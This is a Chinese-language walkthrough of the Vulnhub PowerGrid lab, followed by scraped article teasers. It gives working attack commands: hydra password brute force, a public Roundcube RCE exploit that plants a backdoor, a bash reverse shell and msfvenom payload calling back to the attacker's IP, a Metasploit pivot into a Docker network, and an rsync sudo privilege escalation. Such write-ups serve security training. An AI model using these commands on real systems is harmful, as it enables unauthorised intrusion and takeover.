kali:192.168.111.111

靶机:192.168.111.182

信息收集

端口扫描

nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.182

访问web,发现三个用户名

目录爆破发现zmail目录

dirsearch -u http://192.168.111.182 -w /opt/zidian/SecLists-2022.2/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt

访问该目录提示需要登录,用发现的用户名爆破

hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.111.182 http-get /zmail -t 64

得到账号密码:p48|electrico,登录后发现一封邮件,内容提示存在另一台服务器

发现该cms的版本存在远程代码执行

漏洞利用

exp:https://github.com/t0kx/exploit-CVE-2016-9920

修改内容

执行python脚本

python3 exploit.py --host p48:electrico@192.168.111.182 --user p48 --pwd electrico --path /zmail --www_path /var/www/html/zmail/

访问http://192.168.111.182/zmail/backdoor.php执行命令

反弹shell需要经过url编码才可以执行

bash -c 'exec bash -i >& /dev/tcp/192.168.111.111/4444 0>&1'

提权

切换到p48用户,在用户家目录下发现gpg私钥:privkey.gpg

配合在邮件中发现的密文解密,得到p48用户的ssh私钥,解密网站:https://youritmate.us/pgp/

查看目标网卡发现另一个网段172.17.0.0/24

上传msf木马进行端口扫描

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.111.111 lport=4444 -f elf -o shell.elf

添加路由

run autoroute -s 172.17.0.0/24

利用msf模块auxiliary/scanner/portscan/tcp扫描,发现172.17.0.1和172.17.0.2开放22端口

use auxiliary/scanner/portscan/tcp
set rhosts 172.17.0.0/24
set threads 100

利用gpg解密得到的p48用户私钥登录172.17.0.2,尝试利用ssh登录之后发现172.17.0.1登录的是靶机,172.17.0.2是docker容器

ssh p48@172.17.0.2 -i id_rsa

提权方法:https://gtfobins.github.io/gtfobins/rsync/#sudo

sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null

切换到root之后查看/root/.ssh/id_rsa,获得root用户私钥,登录172.17.0.1,获得flag

ssh root@172.17.0.1 -i id_rsa

Vulnhub:PowerGrid-1.0.1靶机的更多相关文章

  1. VulnHub PowerGrid 1.0.1靶机渗透

    ​本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...

  2. ch4inrulz: 1.0.1靶机渗透

    ch4inrulz: 1.0.1靶机渗透 扫描主机端口,还行啦四个开放的端口,8011和80端口都运行着web服务. 80端口下的robots.txt告诉我们什么都没有 在8011端口的apache服 ...

  3. Vulnhub Breach1.0

    1.靶机信息 下载链接 https://download.vulnhub.com/breach/Breach-1.0.zip 靶机说明 Breach1.0是一个难度为初级到中级的BooT2Root/C ...

  4. PJzhang:vulnhub靶机sunset系列SUNSET:TWILIGHT

    猫宁~~~ 地址:https://www.vulnhub.com/entry/sunset-twilight,512/ 关注工具和思路. nmap 192.168.43.0/24靶机IP192.168 ...

  5. Vulnhub 靶机 pwnlab_init 渗透——详细教程

    1. 下载 pwnlab_ini 靶机的 .ova 文件并导入 VMware: pwnlab下载地址:PwnLab: init ~ VulnHub 导入VMware时遇到VMware上虚机太多,无法确 ...

  6. 25. CTF综合靶机渗透(17)

    靶机链接 https://www.vulnhub.com/entry/the-ether-evilscience,212 运行环境 本靶机提供了VMware的镜像,从Vulnhub下载之后解压,运行v ...

  7. 23. CTF综合靶机渗透(十六)

    靶机说明: VM Name: JIS-CTF : VulnUpload Difficulty: Beginner Description: There are five flags on this m ...

  8. 22. CTF综合靶机渗透(十五)

    靶机说明: Game of Thrones Hacking CTF This is a challenge-game to measure your hacking skills. Set in Ga ...

  9. vulnhub-XXE靶机渗透记录

    准备工作 在vulnhub官网下载xxe靶机 导入虚拟机 开始进行渗透测试 信息收集 首先打开kali,设置成NAT模式 查看本机ip地址 利用端口扫描工具nmap进行探测扫描 nmap -sS 19 ...

  10. 靶场渗透CH4INRULZ_v1.0.1

    最新文章见我个人博客:点此 靶机环境下载地址:[下载] ova下载下来后直接导入virtualbox即可(https://www.vulnhub.com/entry/ch4inrulz-101,247 ...

随机推荐

  1. Java求值策略

    为什么说Java不存在引用传递? 在Java语言中,存在两种数据类型,一种是基本类型,如int.byte等8种基本类型,一种是引用类型,如String.Integer等.这两种数据类型区别就在于,基本 ...

  2. idea的简单介绍

    上一篇博客中只是了解一下java文件是怎么编译的,但是一般来说大家都是使用编程软件来进行开发,我是使用IntelliJ IDEA进行开发的 官网下载IDEA(自行安装哈):地址:https://www ...

  3. mysql游标最后一行重复问题

    今天用调用存储过程时发现数据有点问题,和预期不一致 经排查,发现是游标在遍历过程中重复遍历了,或者说是对游标下标的判断有Bug 调试后发现是游标使用方式不正确 应该在循环外先对游标进行一次取值操作,在 ...

  4. P8855 [POI2002]商务旅行

    简要题意 给出一个 \(N\) 个节点的树和一个长度为 \(M\) 的序列 \(S\).你需要从 \(1\) 出发,依次经过 \(S\) 中的所有点,求至少需要经过的边数. \(1 \le N \le ...

  5. C++Day09 深拷贝、写时复制(cow)、短字符串优化

    一.std::string 的底层实现 1.深拷贝 1 class String{ 2 public: 3 String(const String &rhs):m_pstr(new char[ ...

  6. Docker使用阿里云拉取配置源也无法拉取的镜像-github镜像镜像gcr.io

    我搞了一天都没搞好,最后用了这个办法解决了拉取镜像的问题 对于大部分镜像来说,我们配置源就可以,但是对于较新的镜像,没得搞啊,铁子们,真的崩溃... 最终发现可以通过Aliyun的自动构建来处理被墙镜 ...

  7. ant design pro 配置路由 显示页面步骤详解

    第一步 在 src/views 下新建页面的vue文件,如果相关页面有多个,可以新建一个文件夹来放置相关文件. 给页面里写几个字,等会可以看到哦~~ 第二步 将文件加入菜单和路由 进入这个文件    ...

  8. 引子 - 实现轻量的 ioc 容器

    IoC 反转控制原则也被叫做依赖注入 DI, 容器按照配置注入实例化的对象. 假设 A 的相互依赖关系如下图, 如何将 A 对象实例化并注入属性. 本文将实现一个轻量化的 IoC 容器, 完成对象的实 ...

  9. Java 进阶P-3.1+P-3.2

    记事本的例子 容器类有两个类型: 容器的类型 元素的类型 泛型容器类 泛型 泛型其实质就是将数据的类型参数化.通过为类.接口.及方法设置类型参数来定义泛型.泛型使一个类或一个方法可在多种不同类型的对象 ...

  10. Python TensorFlow深度神经网络回归:keras.Sequential

      本文介绍基于Python语言中TensorFlow的Keras接口,实现深度神经网络回归的方法. 目录 1 写在前面 2 代码分解介绍 2.1 准备工作 2.2 参数配置 2.3 数据导入与数据划 ...